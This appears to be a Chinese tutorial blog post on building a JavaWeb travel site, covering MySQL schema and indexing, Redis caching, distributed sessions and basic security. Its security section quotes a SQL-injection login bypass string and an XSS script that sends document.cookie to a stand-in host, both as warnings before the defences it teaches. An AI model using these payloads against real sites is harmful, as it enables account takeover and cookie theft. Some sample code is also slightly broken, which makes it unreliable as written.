本文还有配套的精品资源,点击获取
简介:本项目“简单旅游网站”是一个典型的JavaWeb应用,采用Maven进行项目构建与依赖管理,使用MySQL持久化存储用户、产品和订单数据,结合Redis实现热点数据缓存以提升系统性能,并通过Ajax技术实现页面无刷新交互,增强用户体验。项目涵盖前后端开发核心流程,涉及Servlet、JSP、数据库设计、缓存优化及基础安全防护,适用于学习JavaWeb开发中主流技术的集成与实践,是掌握企业级Web应用开发的优质入门案例。
一个旅游网站的完整技术演进之路 🚀
你有没有想过,为什么有些旅游网站加载飞快、下单流畅,而另一些却卡顿频频、动不动就“数据库连接失败”?🤔 其实背后不只是功能多少的问题,而是 架构设计是否合理、缓存用得巧不巧、安全防线牢不牢固 。今天,咱们就来深入拆解一个看似简单的旅游网站,从零开始构建它的技术骨架,并一步步让它变得更高效、更稳定、更安全。
别被“简单”两个字骗了——越是基础的系统,越能暴露真实的技术功底。我们不会只讲“怎么搭个网站”,而是带你思考:
- 数据库表结构为什么要这样设计?
- 缓存真的只是“把数据放Redis里”吗?
- 当成千上万用户同时抢购三亚五日游时,你的系统会不会直接崩掉?
准备好了吗?Let’s go!👇
架构不是画出来的,是长出来的 💡
很多教程一上来就是“三层架构图”、“微服务部署拓扑”……但现实中的项目往往是从一个 index.html 和几行JSP代码起步的。我们的旅游网站也不例外。
一开始的需求很简单:用户能浏览几个旅游线路,注册登录后可以下单购买。那我们就用最经典的 B/S模式 + JavaWeb技术栈 来实现:
- 前端:HTML/CSS/JavaScript + JSP 页面渲染
- 后端:Servlet 处理请求,JDBC 操作数据库
- 存储:MySQL 存核心数据,Redis 做热点缓存
- 协议:前后端通过 HTTP 交互,统一使用 JSON 格式传参(即使JSP也能支持)
这听起来很“老派”?没错,但它足够清晰、学习成本低、适合快速验证业务逻辑。更重要的是,这种结构为后续升级打下了坚实基础——你可以先跑通流程,再逐步引入Spring、MyBatis、甚至微服务。
说到依赖管理,我们选用了 Maven 。它不只是帮你下载jar包那么简单,更是团队协作的基石。只要一份 pom.xml ,新人拉下代码就能编译运行,再也不用问:“你用的是哪个版本的Servlet API?” 😅
数据库连接池我们用了 Druid ,除了性能优秀外,它的监控面板简直太香了!SQL执行时间、慢查询统计、连接池状态一目了然,简直是开发调试的“黑匣子”。
至于缓存层,毫无疑问选择了 Redis 。毕竟谁不想让首页加载从800ms降到80ms呢?而且随着用户量上升,你会发现:没有Redis的系统,就像没装减震器的汽车,颠得厉害。
但这套组合拳的关键在于——它们之间如何协同工作?
✅ 小贴士:不要为了用新技术而用。比如一开始就上Kuber***es或RabbitMQ,结果连基本的事务一致性都没处理好,反而增加了复杂度。先把地基打好,再盖高楼才是正道。
数据库设计:别让“临时方案”变成技术债 💣
很多人觉得“先随便建个表,后面再改”没问题。可我告诉你: 90%的性能瓶颈,都源于早期草率的数据建模 。
想象一下,某天老板说:“我们要做个‘我的订单’页面,支持按状态筛选、分页查看。” 结果你发现 t_order.status 字段没加索引,每次查询都要全表扫描……这时候再去改?轻则锁表影响线上服务,重则引发雪崩。
所以,从第一天起就要认真对待数据库设计。
用户 × 产品 × 订单:三者关系怎么搞?
旅游网站的核心无非三个东西:人(用户)、货(旅游产品)、交易(订单)。这三个实体怎么关联,决定了整个系统的扩展性。
直接关联不行吗?比如订单里直接存产品名?
当然可以,但这是典型的反范式做法。短期内省事,长期来看会带来严重问题:
- 如果产品改名了,所有历史订单里的名称要不要同步更新?
- 如果要做销量统计,“三亚五日游”卖了多少份?还得去遍历每条订单解析字段……
更好的方式是: 实体分离 + 外键约束
我们建立四张核心表:
erDiagram
t_user ||--o{ t_order : "1:N"
t_order ||--o{ t_order_item : "1:N"
t_product ||--o{ t_order_item : "1:N"
t_user {
int id PK
varchar username
varchar password
varchar phone
varchar email
datetime create_time
}
t_order {
int id PK
int user_id FK
decimal total_price
varchar status
datetime order_time
}
t_product {
int id PK
varchar title
decimal price
int stock
varchar destination
int days
}
t_order_item {
int id PK
int order_id FK
int product_id FK
decimal unit_price
int quantity
decimal subtotal
}
看到没?这里有个关键设计: 订单详情表(t_order_item)作为中间表 。
为啥不用 t_order 直接连 t_product ?
因为现实中一个订单可能包含多个产品(比如“机票+酒店+门票”套餐),而同一个产品也可能出现在多个订单中。这就是典型的 多对多关系 ,必须通过中间表解耦。
而且你看 t_order_item 里还存了 unit_price 和 subtotal —— 这叫“价格快照”。哪怕将来产品涨价了,历史订单的价格也不会变,保证财务准确。
🔍 工程经验分享:我在某OTA公司见过有人在订单表里只存了个 product_id,结果财务对账时发现价格对不上,只能写脚本回溯当时的定价规则……血泪教训啊!
主键、外键、索引:这些细节决定成败 ⚙️
你以为建完表就完了?远远不够。接下来才是真正考验功力的地方。
主键设计:自增ID还是UUID?
我们统一采用 自增整型主键 ( AUTO_INCREMENT ),原因有三:
- 性能高 :InnoDB引擎下,主键构成聚簇索引,数据物理存储有序,范围查询效率极高;
- 插入快 :连续递增避免页分裂;
- 节省空间 :4字节 vs UUID的16字节,差4倍!
虽然分布式场景下自增ID会有瓶颈,但对我们这个阶段的小系统来说,完全够用且最优。
外键约束:要还是不要?
社区一直有争论:“外键交给数据库管太重了,不如应用层控制。”
但我建议: 在中小型系统中一定要加外键约束 !
比如这条语句:
ALTER TABLE t_order
ADD CONSTRAINT fk_order_user
FOREIGN KEY (user_id) REFERENCES t_user(id)
ON DELETE CASCADE;
意思是:当删除某个用户时,自动删除其所有订单。否则你就得手动清理,稍不留神就会留下一堆“孤儿订单”。
🛠️ 实战提醒:生产环境慎用
ON DELETE CASCADE,最好改为软删除(is_deleted标记)。但在开发初期,级联删除能极大减少脏数据风险。
索引优化:别盲目创建!
索引不是越多越好。每个额外索引都会拖慢写操作(INSERT/UPDATE/DELETE要同步更新B+树),还会占用内存和磁盘。
我们只在高频查询字段上建索引:
| 查询场景 | 建议索引 |
|---|---|
| 用户登录(查username) | UNIQUE INDEX idx_username ON t_user(username) |
| 查看某用户的所有订单 | INDEX idx_user_time ON t_order(user_id, order_time DESC) |
| 按目的地搜索产品 | INDEX idx_destination ON t_product(destination) |
特别注意复合索引的顺序!比如 (user_id, order_time) 可以加速“我的订单”分页查询,但如果反过来 (order_time, user_id) ,效果大打折扣。
怎么验证索引是否生效?用 EXPLAIN !
EXPLAIN SELECT * FROM t_order WHERE user_id = 1001 AND order_time > '2024-01-01';
关注输出中的:
- type=ref 或 range :表示命中索引;
- key=idx_user_time :确认使用了预期索引;
- rows 越小越好,理想接近实际匹配行数。
定期分析慢查询日志,结合 EXPLAIN 不断调优,才能让数据库始终处于高性能状态。
数据库初始化脚本:让环境一致性不再靠运气 🧪
你有没有遇到过这种情况:本地跑得好好的,部署到测试环境就报错“Unknown column”?多半是因为两边数据库结构不一致。
解决方案: 把数据库当成代码来管理 。
我们将建表语句、索引定义、初始数据打包成一个 .sql 初始化脚本:
-- 创建数据库
CREATE DATABASE IF NOT EXISTS travel_db CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
USE travel_db;
-- 删除旧表(仅限开发环境)
DROP TABLE IF EXISTS t_order_item, t_order, t_product, t_user;
-- 创建用户表
CREATE TABLE t_user (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) NOT NULL UNIQUE,
password CHAR(64) NOT NULL,
phone VARCHAR(15),
email VARCHAR(100),
create_time DATETIME DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
-- ...其他表略...
-- 添加索引
CREATE INDEX idx_order_status ON t_order(status);
CREATE INDEX idx_destination ON t_product(destination);
CREATE INDEX idx_user_time ON t_order(user_id, order_time DESC);
-- 插入测试数据
INSERT INTO t_user (username, password, phone, email) VALUES
('alice', 'e7cf3ef...', '13800138001', 'alice@example.***'),
('bob', 'f8a7f9d...', '13900139001', 'bob@example.***');
几点关键点:
- 使用
utf8mb4字符集,支持emoji(别笑,真有人在用户名里写🐶🚀); - 显式声明
ENGINE=InnoDB,支持事务和外键; - 时间字段默认值设为
CURRENT_TIMESTAMP,无需Java代码干预; - 测试密码是SHA-256哈希值(生产环境还要加盐);
这个脚本可以通过命令行一键导入:
mysql -u root -p < init_travel_db.sql
更进一步,可以用 Flyway 或 Liquibase 集成进CI/CD流程,实现数据库变更的版本控制与自动化部署。
💬 个人观点:宁愿花两天把数据库脚本理清楚,也不要图快手敲几条CREATE TABLE然后截图发群里说“就这样吧”。技术债迟早要还,越早清越好。
Redis不只是缓存,它是性能杠杆的支点 🏗️
当你发现首页加载越来越慢,第一反应是不是“加服务器”?其实很多时候, 加一台Redis比加十台Tomcat都管用 。
Redis的强大在于它不仅仅是Key-Value存储,更是一种架构思维的体现: 把昂贵的操作变成廉价的查找 。
把哪些数据放进Redis?
原则很明确: 读多写少、访问频繁、计算成本高的数据优先缓存
在旅游网站中,典型候选包括:
| 数据类型 | 是否适合缓存 | 理由 |
|---|---|---|
| 热门旅游产品详情 | ✅ 强烈推荐 | 包含多表JOIN,渲染复杂 |
| 首页轮播图配置 | ✅ 推荐 | 几乎不变,每次必读 |
| 用户会话信息 | ✅ 必须缓存 | 支持集群部署 |
| 商品分类树 | ✅ 推荐 | 结构固定,常用于导航栏 |
| 实时库存 | ❌ 不建议 | 更新频繁,易出现不一致 |
下面我们重点看两个最具代表性的场景。
场景一:缓存爆款旅游产品,抗住流量洪峰 🌊
假设“五一假期·三亚五日游自由行”突然爆火,每秒上千次访问。如果每次都查数据库:
SELECT p.*, GROUP_CONCAT(t.tag_name) tags
FROM t_product p
LEFT JOIN t_product_tag pt ON p.id = pt.product_id
LEFT JOIN t_tag t ON pt.tag_id = t.id
WHERE p.id = ?
一次查询涉及三张表,还有GROUP_CONCAT聚合,QPS超过200时数据库CPU直接飙到90%以上。
怎么办?把结果整个序列化丢进Redis!
public class ProductCacheService {
private Jedis jedis = new Jedis("localhost", 6379);
public void cacheProductDetail(TourismProduct product) {
String key = "product:detail:" + product.getId();
String value = JSON.toJSONString(product);
jedis.setex(key, 1800, value); // 30分钟过期
}
public TourismProduct getProductFromCache(Long productId) {
String key = "product:detail:" + productId;
String value = jedis.get(key);
if (value != null) {
return JSON.parseObject(value, TourismProduct.class);
}
return null;
}
}
就这么简单?差不多,但有几个坑要注意:
- 生产环境要用 JedisPool 连接池,避免频繁创建TCP连接;
- 序列化建议用 FastJSON2 或 Jackson ,性能远超原生
toString(); - TTL设为1800~3600秒之间,平衡性能与数据新鲜度;
缓存策略可以分几种:
| 策略 | 说明 | 适用场景 |
|---|---|---|
| 固定TTL | 统一设置过期时间 | 通用场景 |
| 逻辑过期 | 数据仍存在,后台异步刷新 | 对一致性要求高 |
| 永不过期 | 手动清除 | 极少变动的静态资源 |
完整的缓存读取流程如下:
graph TD
A[用户请求产品详情] --> B{Redis是否存在该产品缓存?}
B -- 是 --> C[直接返回缓存数据]
B -- 否 --> D[查询MySQL数据库]
D --> E[将结果写入Redis缓存]
E --> F[返回数据给前端]
首次访问确实会慢一点,但从第二次开始就是毫秒级响应,数据库压力骤降。
场景二:用Redis实现分布式Session共享 🔄
传统Tomcat的Session默认存在本地内存。如果你做了负载均衡,用户第一次访问Server A并登录,第二次被Nginx转到了Server B,那就得重新登录——体验极差!
解决办法: 将会话数据集中存储到Redis中
Spring Session + Redis 组合拳安排上!
第一步:引入依赖
<dependency>
<groupId>org.springframework.session</groupId>
<artifactId>spring-session-data-redis</artifactId>
<version>2.7.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-redis</artifactId>
</dependency>
第二步:配置文件
spring:
session:
store-type: redis
timeout: 1800s
redis:
host: localhost
port: 6379
lettuce:
pool:
max-active: 8
第三步:启动类加注解
@SpringBootApplication
@EnableRedisHttpSession(maxInactiveIntervalInSeconds = 1800)
public class TravelApplication {
public static void main(String[] args) {
SpringApplication.run(TravelApplication.class, args);
}
}
搞定!现在无论用户访问哪台服务器,都能通过Redis获取到session信息。
流程图如下:
sequenceDiagram
participant User
participant Nginx
participant ServerA
participant ServerB
participant Redis
User->>Nginx: 发起登录请求
Nginx->>ServerA: 转发请求
ServerA->>Redis: 写入session数据(SET sessionId userInfo)
Redis-->>ServerA: OK
ServerA-->>User: 登录成功(Set-Cookie: JSESSIONID=abc)
User->>Nginx: 后续请求携带Cookie
Nginx->>ServerB: 转发至另一节点
ServerB->>Redis: 根据JSESSIONID查询用户信息(GET abc)
Redis-->>ServerB: 返回用户数据
ServerB-->>User: 正常响应页面
对比一下两种Session机制:
| 特性 | 原生Session | Redis Session |
|---|---|---|
| 存储位置 | 本地内存 | 分布式缓存 |
| 扩展性 | 差(需sticky session) | 强(天然支持集群) |
| 宕机影响 | 丢失全部会话 | 自动恢复(如有持久化) |
| 性能 | 快(本地访问) | 稍慢但可控 |
虽然多了网络IO,但在局域网环境下延迟通常小于1ms,完全可以接受。
缓存三大杀手:穿透、击穿、雪崩,你防住了吗?🛡️
Redis虽强,但也怕“意外”。特别是以下三种经典问题,搞不好就会让你的系统瞬间崩溃。
1. 缓存穿透:攻击者专挑不存在的数据狂刷 💉
比如恶意请求 /product/detail?id=9999999 ,对应商品不存在,缓存无记录,每次都打到数据库。
后果:数据库被无效请求压垮。
解法一:空值缓存(Null Cache)
哪怕查不到,也往Redis里塞个占位符:
if (product == null) {
jedis.setex(key, 60, "__NULL__"); // 缓存空结果60秒
} else {
jedis.setex(key, 1800, JSON.toJSONString(product));
}
下次再请求同样的ID,直接返回null,不查库。
解法二:布隆过滤器(Bloom Filter)前置拦截
提前把所有合法product ID录入布隆过滤器,查询前先判断是否存在:
BloomFilter<Long> bloomFilter = BloomFilter.create(
Funnels.longFunnel(),
1_000_000,
0.01
);
// 初始化加载所有ID
for (Long id : allProductIds) {
bloomFilter.put(id);
}
// 查询前检查
if (!bloomFilter.mightContain(productId)) {
return null; // 根本不存在,直接返回
}
优点:内存占用小,查询速度快;
缺点:有一定误判率(但我们设为1%,可接受)。
🧠 建议组合使用:布隆过滤器做第一道防线,空值缓存做第二道。
2. 缓存击穿:热点Key过期瞬间被高并发击穿 🔥
比如“双11特价团”的缓存刚好到期,此时一万个人同时访问,全部打到数据库。
这不是雪崩(大量Key失效),而是单个Key的“精准打击”。
解法:互斥锁(Mutex Key)
只允许一个线程去查数据库重建缓存,其他线程等待或降级处理:
public TourismProduct getProductWithMutex(Long id) {
String key = "product:detail:" + id;
String mutexKey = "mutex:" + key;
String cached = jedis.get(key);
if (cached != null && !"__NULL__".equals(cached)) {
return JSON.parseObject(cached, TourismProduct.class);
}
// 尝试获取锁
if (jedis.set(mutexKey, "1", "NX", "EX", 3)) { // 3秒过期
try {
TourismProduct dbProduct = productDao.findById(id);
if (dbProduct == null) {
jedis.setex(key, 60, "__NULL__");
} else {
jedis.setex(key, 1800, JSON.toJSONString(dbProduct));
}
} finally {
jedis.del(mutexKey); // 释放锁
}
} else {
// 锁已被占用,短暂休眠后重试或返回默认值
Thread.sleep(50);
return getProductWithMutex(id);
}
}
这样即使百万并发,也只有第一个请求真正查库,其余都在排队等结果。
3. 缓存雪崩:大规模Key集体过期 🌨️
设想你给所有产品缓存都设置了30分钟TTL,结果整点一到,几千个Key同时失效,流量瞬间压向数据库……
解法一:TTL随机化
在基础过期时间上加个随机偏移:
int baseTTL = 1800;
int randomOffset = new Random().nextInt(600); // 0~600秒
jedis.setex(key, baseTTL + randomOffset, value);
这样缓存会在30~40分钟内陆续失效,不会集中爆发。
解法二:多级缓存架构
加入本地缓存(如Caffeine)作为一级缓存:
LoadingCache<String, TourismProduct> localCache = Caffeine.newBuilder()
.maximumSize(1000)
.expireAfterWrite(10, TimeUnit.MINUTES)
.build(this::queryFromRedisOrDB);
即使Redis挂了,本地缓存还能撑一阵子。
解法三:热点数据永不过期 + 异步刷新
对真正热门的商品,设置永不过期,另起定时任务每隔25分钟主动更新一次:
@Scheduled(fixedRate = 25 * 60 * 1000)
public void refreshHotProducts() {
for (Long hotId : HOT_PRODUCT_IDS) {
TourismProduct latest = productService.findById(hotId);
cacheService.cacheProductDetail(latest);
}
}
前台始终读取最新缓存,真正做到“无缝刷新”。
综合应对策略流程图:
graph LR
A[客户端请求] --> B{缓存是否命中?}
B -- 是 --> C[返回缓存数据]
B -- 否 --> D{是否为空结果?}
D -- 是 --> E[返回null]
D -- 否 --> F{是否为热点Key?}
F -- 是 --> G[尝试获取分布式锁]
G --> H[仅一个线程查库并重建缓存]
H --> I[其他线程等待或降级处理]
F -- 否 --> J[普通查询数据库并回填缓存]
这套机制下来,别说日常流量,就算遭遇DDoS攻击也能稳住阵脚。
安全是底线,别等出事才后悔 🔐
最后但最重要的一环:安全。
很多开发者觉得“我们只是个小网站,没人盯”——错!自动化爬虫每天都在扫描弱口令、SQL注入点。一旦中招,轻则数据泄露,重则服务器被挖矿、勒索。
防SQL注入:永远别拼接SQL字符串!
错误示范:
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
攻击者输入 ' OR '1'='1 ,直接绕过登录。
正确做法: PreparedStatement参数化查询
String sql = "SELECT id, username FROM users WHERE username = ?";
try (PreparedStatement pstmt = conn.prepareStatement(sql)) {
pstmt.setString(1, username);
ResultSet rs = pstmt.executeQuery();
// ...
}
参数会被当作纯数据处理,无法改变SQL结构。
防XSS攻击:输入过滤 + 输出转义
用户评论里藏一段 <script>document.location='http://evil.***?cookie='+document.cookie</script> ,你的Cookie就被盗走了!
防御手段:
- 输入端过滤特殊字符(< > & ” ‘)
- 输出端使用JSTL自动转义:
<c:out value="${user***ment}" />
或者手动编码:
String safeOutput = Encode.forHtml(userInput);
密码不能明文存!必须加盐哈希
明文存密码等于裸奔。哪怕数据库加密了,运维人员也能看到。
正确姿势: SHA-256 + 随机Salt
public static String hashPassword(String password, byte[] salt) {
MessageDigest md = MessageDigest.getInstance("SHA-256");
md.update(salt);
byte[] hashed = md.digest(password.getBytes(StandardCharsets.UTF_8));
return bytesToHex(hashed);
}
注册时生成随机salt并存入数据库:
| 字段名 | 类型 | 说明 |
|---|---|---|
| password_hash | VARCHAR(64) | SHA-256哈希值 |
| salt | BINARY(16) | 随机生成的16字节盐值 |
登录时取出salt,重新计算hash进行比对。
权限控制:别让人随便进后台
用Filter拦截管理员路径:
@WebFilter("/admin/*")
public class AuthFilter implements Filter {
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) {
HttpServletRequest request = (HttpServletRequest) req;
User user = (User) request.getSession().getAttribute("loginUser");
if (user == null || !"ADMIN".equals(user.getRole())) {
((HttpServletResponse) res).sendRedirect("../login.jsp?error=unauthorized");
return;
}
chain.doFilter(request, response);
}
}
流程图如下:
graph TD
A[用户请求资源] --> B{是否匹配拦截路径?}
B -- 是 --> C{会话中存在登录用户?}
C -- 否 --> D[重定向至登录页]
C -- 是 --> E{用户具有对应角色权限?}
E -- 否 --> F[返回403 Forbidden]
E -- 是 --> G[放行请求]
B -- 否 --> G
未来可升级为Spring Security,支持CSRF防护、OAuth2集成等高级特性。
写在最后:技术没有银弹,只有持续进化 🌱
回头看这个旅游网站,它从一个简单的JSP页面起步,经历了:
- 数据库规范化设计 → 避免后期重构
- Redis缓存引入 → 提升响应速度
- 分布式Session改造 → 支持横向扩展
- 安全机制加固 → 抵御常见攻击
每一步都不是“一步到位”的奇迹,而是基于实际问题的渐进式优化。
真正的高手,不是一开始就画出完美架构图的人,而是能在风浪中不断调整航向、让系统稳健前行的舵手。
所以别怕起点低,只要你愿意思考、敢于动手,每一个小项目都可以成为你技术成长的跳板。
💬 最后送大家一句话: 好的系统不是设计出来的,是在一次次线上事故和深夜debug中淬炼出来的 。
愿你的代码,经得起流量的冲击,扛得住时间的考验。💪
本文还有配套的精品资源,点击获取
简介:本项目“简单旅游网站”是一个典型的JavaWeb应用,采用Maven进行项目构建与依赖管理,使用MySQL持久化存储用户、产品和订单数据,结合Redis实现热点数据缓存以提升系统性能,并通过Ajax技术实现页面无刷新交互,增强用户体验。项目涵盖前后端开发核心流程,涉及Servlet、JSP、数据库设计、缓存优化及基础安全防护,适用于学习JavaWeb开发中主流技术的集成与实践,是掌握企业级Web应用开发的优质入门案例。
本文还有配套的精品资源,点击获取